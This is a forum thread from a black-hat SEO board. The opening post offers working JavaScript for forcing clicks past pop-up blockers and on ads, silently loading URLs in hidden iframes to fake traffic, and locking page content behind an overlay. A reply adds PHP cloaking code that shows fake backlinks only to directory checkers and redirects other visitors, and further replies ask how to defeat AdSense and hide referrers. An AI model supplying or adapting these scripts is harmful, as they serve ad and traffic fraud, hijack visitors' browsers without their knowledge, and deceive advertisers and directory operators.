1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

SEO20's ultimate script-collection FREE

Discussion in 'Black Hat SEO' started by SEO20, Apr 8, 2010.

  1. SEO20

    SEO20 Elite Member

    Joined:
    Mar 25, 2009
    Messages:
    2,017
    Likes Received:
    2,259
    That's right - I'M back.
    I have 4 of my power scripts here for you guys - but then you have to promise me that you don't PM me with questions :)

    How I simulate/force a click on the client

    This is how I simulate/force a user clicking in the browser.
    It can be used to bypass pop-up killers, force a click on a link - even ads.
    Limitations: does not work inside hosted iframes - like Ads3ns3 and the like.

    Short example:

    HTML:
    <html> 
    <body>
    <script type="text/javascript">
    function simulateClick(control)
    {
        if (document.all)
        {
            control.click();
        }
        else
        {
            var evObj = document.createEvent('MouseEvents');
            evObj.initMouseEvent('click', true, true, window, 1, 12, 345, 7, 220, false, false, true, false, 0, null );
            control.dispatchEvent(evObj);
        }
    }
    </script>
    
    <a href="http://www.blackhatworld.com" id="mytest1">test 1</a><br>
    <div id="mytest2" onclick="alert('Here we go');">And in a Div</div>
    
    <script type="text/javascript">
        simulateClick(document.getElementById('mytest1'));
        simulateClick(document.getElementById('mytest2'));
    </script>
    
    </body>
    </html>
    

    Get unlimited traffic


    This is the collection of urls you want to load silently. Add as many as you want.

    Code:
    var aDomains = [".com"];
    
    This is the referrer check. IF you only want the script to work when people are comming from google. Write
    "google.com" in there. You can comma delimit the list if you want.

    example:

    Code:
    Code:
    var aDomains = ["google.com","yahoo.com"];
    
    So here is the main script you simple insert on your HTML-page and the magic happens.
    It's still a good idea to take care of the referrer on your pages.

    HTML:
    <script type="text/javascript">
        var sLocation = document.referrer.toLocaleLowerCase();
        //Links to boost
        var rDomains = ["http://www.google.com","http://www.apple.com"];
        //Allowed domain referrer
        var aDomains = [".com"];
        var valid = 0;
    
        //Valid referrer
        for (i=0;i<aDomains.length;i++) {
            //Check referrer
            if (sLocation.indexOf(aDomains[i], 0) > -1) 
            {
                valid = 1;
                break;
            }
        }
    
        //Valid referrer
        if (valid == 1) 
        {
            //Loop
            for (i=0;i<rDomains.length;i++) {
                //alert(rDomains[i]);
                invisibleWindow("mydiv" + i,rDomains[i]);
            }
        }
    
        function invisibleWindow(iframeID, url) {
            divel = document.createElement("div");
            divel.id = "div" + iframeID;
            divel.style.width = "5px"; 
            divel.style.height = "5px";
            divel.style.visibility = "hidden";
    
            //Add div
            document.body.appendChild(divel);
    
            domiframe = document.createElement("iframe");
            domiframe.id = iframeID; 
            domiframe.src = url;
            domiframe.style.width = "5px"; 
            domiframe.style.height = "5px";
            domiframe.style.visibility = "hidden";
    
            var divid = document.getElementById("div" + iframeID);
            divid.appendChild(domiframe);
        }
    
    </script>
    

    Lock content


    I wanted to keep it as simple as possible.

    You can put what ever HTML you like inside the lightbox.
    Content of the light box must be in the var lightDivHTML

    Want to change the size of the lightbox locate this line:
    divLight.style.cssText and alter the CSS.

    Save this file as lock.js and put it in your root of your website.

    HTML:
    var lightDivHTML = '<a href="javascript:void(0)" onclick="closeDiv();">Close</a><br /><br />This is your first visit. Hope you will enjoy it.<br />';
    
    initDivs();
    popUP();
    
    function popUP() 
    {
        var light = document.getElementById('light');
        var fader = document.getElementById('fade');
        var arrayPageSize = getPageSize();
        light.style.display='block';
        fader.style.height = (arrayPageSize[1] + 'px');
        fader.style.display = 'block';
    }
    
    //Init divs
    function initDivs() {
        //Lightbox
        var divLight = document.createElement("div");
        divLight.id = "light";
        divLight.style.cssText = "display: none;position: absolute;top: 150px;left: 350px;width: 400px;height: 250px;padding: 16px;border: none;background-color: white;overflow: auto;z-index:2;";
        divLight.innerHTML = lightDivHTML;
        document.body.appendChild(divLight);
        
        //Shadow
        var divFade = document.createElement("div");
        divFade.id = "fade";
        divFade.style.cssText = "display: none;position: absolute;top: 0px;left: 0px;width: 100%;background-color: black;-moz-opacity: 0.8;opacity:.80;filter: alpha(opacity=80);";
        document.body.appendChild(divFade);
    }
    
    
    function getPageSize(){
        var xScroll, yScroll;
        
        if (window.innerHeight && window.scrollMaxY) {    
            xScroll = document.body.scrollWidth;
            yScroll = window.innerHeight + window.scrollMaxY;
        } else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
            xScroll = document.body.scrollWidth;
            yScroll = document.body.scrollHeight;
        } else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
            xScroll = document.body.offsetWidth;
            yScroll = document.body.offsetHeight;
        }
        
        var windowWidth, windowHeight;
        if (self.innerHeight) {    // all except Explorer
            windowWidth = self.innerWidth;
            windowHeight = self.innerHeight;
        } else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
            windowWidth = document.documentElement.clientWidth;
            windowHeight = document.documentElement.clientHeight;
        } else if (document.body) { // other Explorers
            windowWidth = document.body.clientWidth;
            windowHeight = document.body.clientHeight;
        }    
        
        // for small pages with total height less then height of the viewport
        if(yScroll < windowHeight){
            pageHeight = windowHeight;
        } else { 
            pageHeight = yScroll;
        }
    
        // for small pages with total width less then width of the viewport
        if(xScroll < windowWidth){    
            pageWidth = windowWidth;
        } else {
            pageWidth = xScroll;
        }
    
        arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight) 
        return arrayPageSize;
    }
        
    //Close function
    function closeDiv() {
        light.style.display= 'none';
        fade.style.display = 'none';
    }
    
    Your website you want to lock down - just include a reference to lock.js just above </body> like this short example:

    HTML:
    <html>
    <body>
    Here is your website or blog
     
    <script src="lock.js" type="text/javascript"></script>
    </body>
    </html>
    

    Generate invisible Window (to boost stuff)


    Each user will load these urls - it's simply not shown. A LOT of use for this.
    Can be used for many activities.

    A bit more technical stuff - without being too geeky.
    The JavaScript injects the code directly into the browsers DOM.

    (The Document Object Model (DOM) is a cross-platform and language-independent convention for representing and interacting with objects in HTML)

    HTML:
    <script type="text/javascript">
    function invisibleWindow(iframeID, url) {
    
    divel = document.createElement("div");
    divel.id = "div" + iframeID;
    divel.style.width = "25px"; 
    divel.style.height = "25px";
    divel.style.visibility = "hidden";
    
    //Add div
    document.body.appendChild(divel);
    
    domiframe = document.createElement("iframe");
    domiframe.id = iframeID; 
    domiframe.src = url;
    domiframe.style.width = "25px"; 
    domiframe.style.height = "25px";
    
    var divid = document.getElementById("div" + iframeID);
    divid.appendChild(domiframe);
    
    }
    </script>
    
    This is how you call the code - you can offcause add as many urls as you want.
    Important to keep the first parameter unique.

    HTML:
    <script type="text/javascript">
    invisibleWindow("ID1", "http://www.google.com");
    invisibleWindow("ID2", "http://www.microsoft.com");
    </script>
    
    That's it for now - hope you liked it.
     
    • Thanks Thanks x 138
  2. blackhit

    blackhit Super Moderator Staff Member Jr. VIP Premium Member

    Joined:
    Jan 28, 2008
    Messages:
    2,402
    Likes Received:
    4,251
    Location:
    Dark Side Of The Moon
    Q&A in PM's won't do the community any good.

    It benefits all to post a question in the thread and get an answer from SEO for all of us to read.

    And just a kind warning: he has deleted earlier valuable stuff posted because of an avalanche of PM's...
     
    • Thanks Thanks x 5
    Last edited: Apr 8, 2010
  3. SEO20

    SEO20 Elite Member

    Joined:
    Mar 25, 2009
    Messages:
    2,017
    Likes Received:
    2,259
    If you can't make money with these scripts - you should not be in IM ;-)
     
    • Thanks Thanks x 4
  4. nufaman

    nufaman Elite Member

    Joined:
    May 29, 2009
    Messages:
    1,697
    Likes Received:
    1,185
    Damn, I guess I shouldn't be in IM because I am having a mental block and can't think of where to use these scripts :eek:

    I guess I'll save them and analyze them carefully tonight
     
  5. d3t0x

    d3t0x Jr. VIP Jr. VIP Premium Member

    Joined:
    Oct 28, 2008
    Messages:
    1,955
    Likes Received:
    780
    Location:
    Vancouver, BC
    Very nice bro! As always I enjoy your posts! :)
     
  6. Paper-Boy

    Paper-Boy Elite Member

    Joined:
    Jun 17, 2009
    Messages:
    5,116
    Likes Received:
    1,821
    saved this thread - just in case :)
     
    • Thanks Thanks x 2
  7. Grandslam

    Grandslam Senior Member

    Joined:
    Apr 23, 2009
    Messages:
    966
    Likes Received:
    313
    Seo20 - you mentioned in your previous thread that you had a way of taking care of the reefer with your unlimited traffic script, but I didn't see it posted. Would you mind sharing how you take care of the referrer so it doesn't show up as the page the script is on, or worse, iframe.src?

    Also, for the clicking script how do you set what you want it to click?

    And one last question if you don't mind (hopefully I'm taking care of everyone's questions so this thread doesn't get so cluttered) - what's the difference between the unlimited traffic script and the hidden window script? How do they differentiate from each other?
     
    • Thanks Thanks x 2
  8. Dan_B

    Dan_B Junior Member

    Joined:
    Aug 21, 2009
    Messages:
    161
    Likes Received:
    48
    Location:
    Toronto
    saved just in case
     
  9. djprog

    djprog Registered Member

    Joined:
    Mar 20, 2010
    Messages:
    99
    Likes Received:
    42
    Location:
    where there is snow, ocean, wind or all 3
    Hello M.A.D.,

    I really like your Link Directory Script ! ;)

    Just a few questions :

    1) The following script :
    Code:
    <?php 
    $i = file ("[COLOR=red]urllist.txt[/COLOR]");
    foreach ($i as $q){
        echo gethostbyname(trim($q)).'<br>';
    }?>
    
    Is basically a reverse domain ip check, is this correct ? :confused:



    2) Directories asking for a backlink usually ask for the URL where the backlink must be found.

    So is this workflow correct :

    - the URL you want to promote is HOMEPAGE.COM

    - when filling the directory submission form you tell the directory the backlink can be found on HOMEPAGE.COM/fakedirectorybacklinks.HTML

    - you create and upload the fakedirectorybacklinks.HTML with the following script (and ip.gif and code.gif correctly setup):

    Code:
    <?php
     $allow = file('[COLOR=Red]ip.gif[/COLOR]');
    
    if(!in_array($_SERVER['REMOTE_ADDR'], $allow) && !in_array($_SERVER["HTTP_X_FORWARDED_FOR"], $allow)) {
    
        $location = "[U][COLOR=Red]http://www.HOMEPAGE.com[/COLOR][/U]";
    
         header ('HTTP/1.1 301 Moved Permanently');
      header ('Location: '.$location);
        exit();
    
    } else {
    echo file_get_contents ("[COLOR=red]code.gif[/COLOR]");
    }
    
    ?>
    Can you please confirm / correct if I made any mistakes ?

    Another question : why use .gif extension ?

    Thank you very much ! :D
     
  10. djbetaboy

    djbetaboy Junior Member

    Joined:
    Dec 6, 2009
    Messages:
    117
    Likes Received:
    33
    can somebody confirm that this method is working?
     
  11. noii167

    noii167 Registered Member

    Joined:
    Mar 10, 2009
    Messages:
    54
    Likes Received:
    9
    Occupation:
    Surgeon, Doctor
    Location:
    Thailand
    Thanks for these script.
     
  12. Lo Stallone Italiano

    Lo Stallone Italiano Newbie

    Joined:
    Apr 5, 2010
    Messages:
    23
    Likes Received:
    0
    Home Page:
    but the method for unlimited traffic, there is a risk that you delete adsense?
     
  13. kimkils

    kimkils Power Member

    Joined:
    Jan 10, 2009
    Messages:
    663
    Likes Received:
    225
    Really nice share, fantastic, going to have a really good play around with some of these :p

    Regarding the Forced Click... in firefox it doesn't click the html link.. but the div works. In IE 8 it throws the activeX warning but if allowed executes both.
     
  14. reinie

    reinie Elite Member

    Joined:
    Jan 16, 2009
    Messages:
    1,574
    Likes Received:
    1,040
    wow...

    Isnt there a way around the forced clicking for ads3ns3?
     
    Last edited: Apr 9, 2010
  15. CiscoKid

    CiscoKid Registered Member

    Joined:
    Jan 8, 2008
    Messages:
    61
    Likes Received:
    31
    Did some testing with the Invisible Window. Only issue I see is it does show the other site(s) being loaded in the lower right hand status bar.. Anyway to suppress that?
     
  16. SEO20

    SEO20 Elite Member

    Joined:
    Mar 25, 2009
    Messages:
    2,017
    Likes Received:
    2,259
    You are proberly testing it locally - in a non web-server context. Run it on a web-server and taaaaa daaaaaaaa :)

     
    • Thanks Thanks x 4
  17. Lo Stallone Italiano

    Lo Stallone Italiano Newbie

    Joined:
    Apr 5, 2010
    Messages:
    23
    Likes Received:
    0
    Home Page:
    I tried the method for unlimited traffic, but I have not noticed anything..
     
  18. SEO20

    SEO20 Elite Member

    Joined:
    Mar 25, 2009
    Messages:
    2,017
    Likes Received:
    2,259
    You can't in regular manners alter scripts on other domains with Javascript. Since Adsense is on a Google domain - you can't alter anything in it's context.

    It's also easier to get real clicks from valued consumers instead of using more or less ingenious methods. Where you have to monitor it constantly. That being said - G is NOT god.

     
  19. goawayplease

    goawayplease Regular Member

    Joined:
    Apr 10, 2008
    Messages:
    299
    Likes Received:
    67
    DOM does allow accessing of the IFRAME though...
     
  20. Grandslam

    Grandslam Senior Member

    Joined:
    Apr 23, 2009
    Messages:
    966
    Likes Received:
    313
    SEO20 - I don't mean to be redundant so please feel free to delete this post, but in your earlier unlimited traffic script thread you said you were going to post a way to take care of the referrer so it wouldn't show the iframe as the referrer or the page the iframe is on? Would you still be willing to make a post about that? I'm sure many of us would appreciate it greatly.